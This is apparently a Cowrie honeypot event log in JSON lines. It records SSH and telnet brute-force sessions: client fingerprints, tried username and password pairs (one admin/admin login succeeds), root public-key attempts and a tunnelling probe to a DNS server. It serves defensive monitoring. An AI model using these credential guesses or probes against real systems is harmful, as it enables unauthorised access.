{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:46:14.301535Z","src_ip":"165.154.6.49","session":"3024b05e769d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0055799484253,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:46:15.495219Z","src_ip":"149.86.143.242","session":"e8d78de662dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.113.47.155","src_port":46886,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed87519c240a","protocol":"ssh","message":"New connection: 189.113.47.155:46886 (159.203.135.109:22) [session: ed87519c240a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:46:16.275792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:46:16.281228Z","src_ip":"189.113.47.155","session":"ed87519c240a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:46:16.399595Z","src_ip":"189.113.47.155","session":"ed87519c240a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:46:16.898182Z","src_ip":"189.113.47.155","session":"ed87519c240a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.86.143.242","src_port":2040,"dst_ip":"10.17.0.5","dst_port":23,"session":"96f06caa1564","protocol":"telnet","message":"New connection: 149.86.143.242:2040 (10.17.0.5:23) [session: 96f06caa1564]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:46:16.905926Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:46:18.018585Z","src_ip":"189.113.47.155","session":"ed87519c240a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00474715232849,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:46:21.640506Z","src_ip":"149.86.143.242","session":"5aaaa270935b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":8504,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e9dc4369d32","protocol":"ssh","message":"New connection: 87.251.64.176:8504 (10.17.0.5:22) [session: 8e9dc4369d32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:46:28.053396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:46:28.061634Z","src_ip":"87.251.64.176","session":"8e9dc4369d32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:46:28.162336Z","src_ip":"87.251.64.176","session":"8e9dc4369d32","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:46:28.453332Z","src_ip":"87.251.64.176","session":"8e9dc4369d32","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:46:28.553972Z","session":"8e9dc4369d32","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:46:28.653968Z","src_ip":"87.251.64.176","session":"8e9dc4369d32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:46:28.885942Z","src_ip":"87.251.64.176","session":"8e9dc4369d32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":48277,"dst_ip":"159.203.135.109","dst_port":22,"session":"11f812239bb7","protocol":"ssh","message":"New connection: 88.147.30.59:48277 (159.203.135.109:22) [session: 11f812239bb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:46:32.216645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:46:32.221302Z","src_ip":"88.147.30.59","session":"11f812239bb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:46:32.340809Z","src_ip":"88.147.30.59","session":"11f812239bb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"grep","message":"login attempt [root/grep] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:46:32.850791Z","src_ip":"88.147.30.59","session":"11f812239bb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:46:33.973064Z","src_ip":"88.147.30.59","session":"11f812239bb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.167.237.191","src_port":44526,"dst_ip":"159.203.135.109","dst_port":22,"session":"54bf373b97d7","protocol":"ssh","message":"New connection: 190.167.237.191:44526 (159.203.135.109:22) [session: 54bf373b97d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:46:49.673043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:46:49.677482Z","src_ip":"190.167.237.191","session":"54bf373b97d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:46:49.735448Z","src_ip":"190.167.237.191","session":"54bf373b97d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:46:49.993347Z","src_ip":"190.167.237.191","session":"54bf373b97d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:46:51.054438Z","src_ip":"190.167.237.191","session":"54bf373b97d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.49","src_port":40942,"dst_ip":"159.203.135.109","dst_port":22,"session":"30489f298aad","protocol":"ssh","message":"New connection: 165.154.6.49:40942 (159.203.135.109:22) [session: 30489f298aad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:47:02.250983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:47:02.256721Z","src_ip":"165.154.6.49","session":"30489f298aad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:47:02.476676Z","src_ip":"165.154.6.49","session":"30489f298aad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:47:03.383769Z","src_ip":"165.154.6.49","session":"30489f298aad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.201.254.33","src_port":56802,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9b079e4e39d","protocol":"telnet","message":"New connection: 91.201.254.33:56802 (10.17.0.5:23) [session: e9b079e4e39d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:47:04.456578Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:47:04.610425Z","src_ip":"165.154.6.49","session":"30489f298aad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.2.70","src_port":40932,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6f0c1bb78e3","protocol":"ssh","message":"New connection: 209.126.2.70:40932 (10.17.0.5:22) [session: d6f0c1bb78e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:47:12.019244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:47:12.024705Z","src_ip":"209.126.2.70","session":"d6f0c1bb78e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:47:12.063683Z","src_ip":"209.126.2.70","session":"d6f0c1bb78e3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"58:d5:1f:d5:0c:c3:85:88:10:59:ba:60:91:c9:06:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5497NQssRYYRAcck++itvOudjDvGIMKFOEX/hB5XNVcT0vxw5mls9hNnBNTVnmoKo3DtugOKgb5VV9sSLeCDDHF+9E5QkXK+YnnLT95beD/VRYjB/cLIIFOaLllM3YjL3KfMNs4OQ/0J8ecLOsrrO6rJCwJv9gw9YiFtEY+t/QFHgnVCvrr5M3XSDnj2i1DG8ymkPK99ERtJoI+qxvOVJB7DoESuMUTT+6TuKnmb/OmCIQ8jEA5eONI0CtaOMjmTAf7BtmeT/MSKTbpeUq5+Kn9q+gnMlR4fDxEIQ75c8WDG91mK3uwWKW+h7P2u47EVceI3kDGGYLppOiuU7bEvN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 58:d5:1f:d5:0c:c3:85:88:10:59:ba:60:91:c9:06:69","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:47:12.330037Z","src_ip":"209.126.2.70","session":"d6f0c1bb78e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"58:d5:1f:d5:0c:c3:85:88:10:59:ba:60:91:c9:06:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5497NQssRYYRAcck++itvOudjDvGIMKFOEX/hB5XNVcT0vxw5mls9hNnBNTVnmoKo3DtugOKgb5VV9sSLeCDDHF+9E5QkXK+YnnLT95beD/VRYjB/cLIIFOaLllM3YjL3KfMNs4OQ/0J8ecLOsrrO6rJCwJv9gw9YiFtEY+t/QFHgnVCvrr5M3XSDnj2i1DG8ymkPK99ERtJoI+qxvOVJB7DoESuMUTT+6TuKnmb/OmCIQ8jEA5eONI0CtaOMjmTAf7BtmeT/MSKTbpeUq5+Kn9q+gnMlR4fDxEIQ75c8WDG91mK3uwWKW+h7P2u47EVceI3kDGGYLppOiuU7bEvN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:47:12.334216Z","src_ip":"209.126.2.70","session":"d6f0c1bb78e3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"26:db:9c:1d:5c:e3:a7:f2:e8:fd:4a:83:74:d4:1f:3e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRwyZMXi6ZJcesOtw/0xmiPjEKOTr5LnD0zGBLhNKkUJsJaOAYJACdruxp4SaqVeZv+th5axNLKXl5Ye1lKAg9f1YOKl0CBGs/mKW45OAonrm1oVG4Dpi5PLaTi2oFAHPefZ/8SniP7u63uhVuN7PnfvPWt//3ejiMsQokZKN2IWiNzwetjWdptlqtqiNziyfIWarQD853Bd4RIN7yG7FnvHvb70sAZcpsrsvXJpCECxJDe3cPITR8r0mCjqjr5fuPgckBRipQjc4/O8Iw+qyP/AqescBBG/2x/o6j9bET1eUWgFCzZF4GNU3Bn7CoWTsAAofJiqGRsD6uboUtLBYXP9AoXWmDCblTTbW0E87Dc3LOLTywxuhLhHbNvRTUt6UseS1CPxqnRxUd9hffzgk6wOx/S/ltNFDjpN+z2f6dVEMgc7507zziAwIE0FkNSlWAhDf4G5O5GsS9ZIO0Bf2jWRU5yRmf2NTapvi1j5LPy5NqQdsxnxQ1OPLUmH6oU1U=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 26:db:9c:1d:5c:e3:a7:f2:e8:fd:4a:83:74:d4:1f:3e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:47:12.378143Z","src_ip":"209.126.2.70","session":"d6f0c1bb78e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"26:db:9c:1d:5c:e3:a7:f2:e8:fd:4a:83:74:d4:1f:3e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRwyZMXi6ZJcesOtw/0xmiPjEKOTr5LnD0zGBLhNKkUJsJaOAYJACdruxp4SaqVeZv+th5axNLKXl5Ye1lKAg9f1YOKl0CBGs/mKW45OAonrm1oVG4Dpi5PLaTi2oFAHPefZ/8SniP7u63uhVuN7PnfvPWt//3ejiMsQokZKN2IWiNzwetjWdptlqtqiNziyfIWarQD853Bd4RIN7yG7FnvHvb70sAZcpsrsvXJpCECxJDe3cPITR8r0mCjqjr5fuPgckBRipQjc4/O8Iw+qyP/AqescBBG/2x/o6j9bET1eUWgFCzZF4GNU3Bn7CoWTsAAofJiqGRsD6uboUtLBYXP9AoXWmDCblTTbW0E87Dc3LOLTywxuhLhHbNvRTUt6UseS1CPxqnRxUd9hffzgk6wOx/S/ltNFDjpN+z2f6dVEMgc7507zziAwIE0FkNSlWAhDf4G5O5GsS9ZIO0Bf2jWRU5yRmf2NTapvi1j5LPy5NqQdsxnxQ1OPLUmH6oU1U=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:47:12.382075Z","src_ip":"209.126.2.70","session":"d6f0c1bb78e3","protocol":"ssh"}
